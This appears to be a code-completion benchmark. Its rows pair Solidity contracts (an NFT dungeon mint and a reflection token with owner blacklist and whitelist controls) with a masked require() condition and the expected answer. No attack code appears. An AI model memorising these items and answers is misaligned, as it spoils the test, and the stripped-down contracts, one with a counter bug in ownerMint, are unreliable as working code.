// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
}
function publicMint(uint256 amount) public payable nonReentrant {
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
require(ownerMinted < 50, "Owner can only mint 50");
require(<FILL_ME>)
_internalMint(amount);
ownerMinted += 50;
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| ownerMinted+amount<=50,"amount + ownerMinted must be lte 50" | 70,218 | ownerMinted+amount<=50 |
"Cannot mint amount" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
}
function publicMint(uint256 amount) public payable nonReentrant {
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
require(<FILL_ME>)
require(amount > 0, "Amount must be gt than 0");
if (msg.sender != owner()) {
uint256 totalCost = amount * price;
require(hearts.balanceOf(msg.sender) >= totalCost, "Insufficient HEARTS");
// Transfer HEARTS to this contract
hearts.transferFrom(msg.sender, address(this), totalCost);
}
for (uint256 i = 0; i < amount; i++) {
claimed += 1;
uint256 tokenId = claimed;
seeds[tokenId] = pluckDungeon(tokenId); // Assign a random C&C dungeon ID
_mint(_msgSender(), tokenId); // Using mint vs safemint to save gas. Safemint is only required to ensure that the mintign wallet accepts ERC721's which should be the case.
emit Minted(_msgSender(), tokenId);
}
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| claimed+amount<=maxSupply,"Cannot mint amount" | 70,218 | claimed+amount<=maxSupply |
"Insufficient HEARTS" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
/// @title Dungenos for Heroes NFT
/* ERC721 Boilerplate */
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// TODO - Swap out for Dungeons Staking contract
interface Dungeons {
// Dungeon layouts and metadata will be derived from random Crypts and Caverns dungeons
function tokenByIndex(uint256 index) external view returns (uint256);
function getLayout(uint256 tokenId) external view returns (bytes memory);
function getSize(uint256 tokenId) external view returns (uint256);
function getEnvironment(uint256 tokenId) external view returns (uint256);
function getName(uint256 tokenId) external view returns (string memory);
function getNumDoors(uint256 tokenId) external view returns (uint256);
function getNumPoints(uint256 tokenId) external view returns (uint256);
}
interface Hearts {
// Players must spend hearts to purchase dungeons.
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract HeroDungeons is ERC721Enumerable, ReentrancyGuard, Ownable {
// Initialize existing deployed contracts
Dungeons internal dungeons;
Hearts internal hearts;
// Set price and supply variables
uint256 public constant maxSupply = 3333;
uint256 public claimed = 0; // Number of mints that have been claimed (to ensure we don't exceed the cap)
uint256 public price = 6000 * 10**18; // Price in HEART
bytes32 public root;
// May 14, 2022 8:00 AM PT
uint256 ALLOWLIST_START = 1652540400;
// May 15, 20200 8:00 AM PT
uint256 PUBLIC_MINT_START = 1652626800;
string BASE_URI;
string PRE_REVEAL_URI;
function updatePrice(uint256 newPrice) public onlyOwner {
}
// Store seeds for our maps
mapping(uint256 => uint256) public seeds;
// Mapping used for PRNG
uint256 internal numDungeons = 8775; // Total number of valid Crypts and Caverns dungeons
mapping(uint256 => uint256) internal _idSwaps; // TODO - Change variable name to obfuscate anyone googling the post we got this from
// Events for external website querying
event Minted(address indexed account, uint256 tokenId);
function setRoot(bytes32 _root) public onlyOwner {
}
function verify(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
// Keep track of number of minter per address. Max 3 for allowlist.
mapping(address => uint256) public allowlistMints;
function setAllowListTime(uint256 time) public onlyOwner {
}
function setPublicTime(uint256 time) public onlyOwner {
}
function allowlistMintActive() public view returns (bool) {
}
function publicMintActive() public view returns (bool) {
}
function allowlistMint(bytes32[] memory proof, uint256 amount)
public
payable
nonReentrant
{
}
function publicMint(uint256 amount) public payable nonReentrant {
}
uint256 ownerMinted;
function ownerMint(uint256 amount) public payable nonReentrant onlyOwner {
}
/**
* @dev Mints a new dungeon in exchange for Hearts.
*/
function _internalMint(uint256 amount) internal {
require(claimed + amount <= maxSupply, "Cannot mint amount");
require(amount > 0, "Amount must be gt than 0");
if (msg.sender != owner()) {
uint256 totalCost = amount * price;
require(<FILL_ME>)
// Transfer HEARTS to this contract
hearts.transferFrom(msg.sender, address(this), totalCost);
}
for (uint256 i = 0; i < amount; i++) {
claimed += 1;
uint256 tokenId = claimed;
seeds[tokenId] = pluckDungeon(tokenId); // Assign a random C&C dungeon ID
_mint(_msgSender(), tokenId); // Using mint vs safemint to save gas. Safemint is only required to ensure that the mintign wallet accepts ERC721's which should be the case.
emit Minted(_msgSender(), tokenId);
}
}
function setBaseUri(string memory baseUri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
bool revealed;
function reveal() public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Withdraws ETH from the contract to a specified wallet
*/
function withdrawETH(address payable recipient)
public
payable
nonReentrant
onlyOwner
{
}
/**
* @dev Withdraw heart balance to specified address
*/
function withdrawHearts(address to) public payable onlyOwner {
}
/**
* @dev Proxy to retrieve dungeon layout from the Crypts and Caverns project.
*/
function getLayout(uint256 tokenId) public view returns (bytes memory) {
}
/**
* @dev Proxy to retrieve dungeon size from the Crypts and Caverns project.
*/
function getSize(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon environment from the Crypts and Caverns project.
*/
function getEnvironment(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getName(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumDoors(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Proxy to retrieve dungeon name from the Crypts and Caverns project.
*/
function getNumPoints(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Returns the tokenId withing Crypts and Caverns that this dungeon references
*/
function getCnCId(uint256 tokenId) public view returns (uint256) {
}
/**
* @dev Helper function to return invalid (broken) dungeons
*/
function getValidDungeon(uint256 seed) internal pure returns (uint256) {
}
/**
* @dev Randomly assigns a dungeon from the eligible list. Heroes dungeon will be based off this original dungeon layout.
*/
function pluckDungeon(uint256 tokenId) private returns (uint256) {
}
/* Utility Functions */
function random(
uint256 input,
uint256 min,
uint256 max
) internal pure returns (uint256) {
}
constructor(
Dungeons _dungeons,
Hearts _hearts,
string memory _prerevealUri
) ERC721("Dungeons: A Heroes NFT Collection", "HD") Ownable() {
}
}
| hearts.balanceOf(msg.sender)>=totalCost,"Insufficient HEARTS" | 70,218 | hearts.balanceOf(msg.sender)>=totalCost |
"Address already excluded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
// Crypto Underground (D4D.com)
/**
* We see the Unseen. Imagine a search engine specifically tailored for
* Ethereum blockchain. Our core functionality revolves around providing
* analytical insights into ERC-20 projects. Unlike conventional approaches
* that might rely on influencer opinions, we strictly adhere to a data-driven,
* analytics-based methodology. This ensures an objective assessment, focusing
* on projects with a high probability of success.
*
* Our platform is ideal for users who value unbiased, analytical perspectives
* in the rapidly evolving crypto space. For more information or to join our
* community, visit our website and social media channels:
* - Website: https://D4D.com
* - Discord: https://discord.gg/eGWgN7M3mv
* - Telegram: https://t.me/CryptoUndergroundCU
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract CryptoUnderground is Context, IERC20, IERC20Metadata, Ownable {
uint256 private constant MAX = ~uint256(0);
uint256 private _rTotalSupply; // total supply in r-space
uint256 private immutable _tTotalSupply; // total supply in t-space
string private _name;
string private _symbol;
address[] private _excludedFromReward;
uint256 public taxFee = 4; // 4 => 4%
uint256 public totalFees;
mapping(address => uint256) private _rBalances; // balances in r-space
mapping(address => uint256) private _tBalances; // balances in t-space
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromReward;
mapping(address => bool) private whitelist;
mapping(address => bool) public bots;
bool public tradingActive = false;
event SetFee(uint256 value);
constructor(address owner_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address account,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function setFee(uint256 newTxFee) public onlyOwner {
}
function enableTrading() external onlyOwner {
}
function excludeFromReward(address account) public onlyOwner {
require(<FILL_ME>)
require(_excludedFromReward.length < 100, "Excluded list is too long");
if (_rBalances[account] > 0) {
uint256 rate = _getRate();
_tBalances[account] = _rBalances[account] / rate;
}
isExcludedFromReward[account] = true;
_excludedFromReward.push(account);
}
function includeInReward(address account) public onlyOwner {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function withdrawTokens(
address tokenAddress,
address receiverAddress
) external onlyOwner returns (bool success) {
}
function isWhiteListed(address account) public view returns (bool) {
}
function removeWhitelist(address account) public onlyOwner() {
}
function setWhitelist(address[] memory whitelist_) public onlyOwner() {
}
function blackListAddress(address[] memory bots_) public onlyOwner {
}
function unblockBlackList(address notbot) public onlyOwner {
}
function _getRate() private view returns (uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address account,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address account,
address spender,
uint256 amount
) internal virtual {
}
}
| !isExcludedFromReward[account],"Address already excluded" | 70,302 | !isExcludedFromReward[account] |
"Account is already included" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
// Crypto Underground (D4D.com)
/**
* We see the Unseen. Imagine a search engine specifically tailored for
* Ethereum blockchain. Our core functionality revolves around providing
* analytical insights into ERC-20 projects. Unlike conventional approaches
* that might rely on influencer opinions, we strictly adhere to a data-driven,
* analytics-based methodology. This ensures an objective assessment, focusing
* on projects with a high probability of success.
*
* Our platform is ideal for users who value unbiased, analytical perspectives
* in the rapidly evolving crypto space. For more information or to join our
* community, visit our website and social media channels:
* - Website: https://D4D.com
* - Discord: https://discord.gg/eGWgN7M3mv
* - Telegram: https://t.me/CryptoUndergroundCU
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract CryptoUnderground is Context, IERC20, IERC20Metadata, Ownable {
uint256 private constant MAX = ~uint256(0);
uint256 private _rTotalSupply; // total supply in r-space
uint256 private immutable _tTotalSupply; // total supply in t-space
string private _name;
string private _symbol;
address[] private _excludedFromReward;
uint256 public taxFee = 4; // 4 => 4%
uint256 public totalFees;
mapping(address => uint256) private _rBalances; // balances in r-space
mapping(address => uint256) private _tBalances; // balances in t-space
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromReward;
mapping(address => bool) private whitelist;
mapping(address => bool) public bots;
bool public tradingActive = false;
event SetFee(uint256 value);
constructor(address owner_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address account,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function setFee(uint256 newTxFee) public onlyOwner {
}
function enableTrading() external onlyOwner {
}
function excludeFromReward(address account) public onlyOwner {
}
function includeInReward(address account) public onlyOwner {
require(<FILL_ME>)
uint256 nExcluded = _excludedFromReward.length;
for (uint256 i = 0; i < nExcluded; i++) {
if (_excludedFromReward[i] == account) {
_excludedFromReward[i] = _excludedFromReward[
_excludedFromReward.length - 1
];
_tBalances[account] = 0;
isExcludedFromReward[account] = false;
_excludedFromReward.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function withdrawTokens(
address tokenAddress,
address receiverAddress
) external onlyOwner returns (bool success) {
}
function isWhiteListed(address account) public view returns (bool) {
}
function removeWhitelist(address account) public onlyOwner() {
}
function setWhitelist(address[] memory whitelist_) public onlyOwner() {
}
function blackListAddress(address[] memory bots_) public onlyOwner {
}
function unblockBlackList(address notbot) public onlyOwner {
}
function _getRate() private view returns (uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address account,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address account,
address spender,
uint256 amount
) internal virtual {
}
}
| isExcludedFromReward[account],"Account is already included" | 70,302 | isExcludedFromReward[account] |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
// Crypto Underground (D4D.com)
/**
* We see the Unseen. Imagine a search engine specifically tailored for
* Ethereum blockchain. Our core functionality revolves around providing
* analytical insights into ERC-20 projects. Unlike conventional approaches
* that might rely on influencer opinions, we strictly adhere to a data-driven,
* analytics-based methodology. This ensures an objective assessment, focusing
* on projects with a high probability of success.
*
* Our platform is ideal for users who value unbiased, analytical perspectives
* in the rapidly evolving crypto space. For more information or to join our
* community, visit our website and social media channels:
* - Website: https://D4D.com
* - Discord: https://discord.gg/eGWgN7M3mv
* - Telegram: https://t.me/CryptoUndergroundCU
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
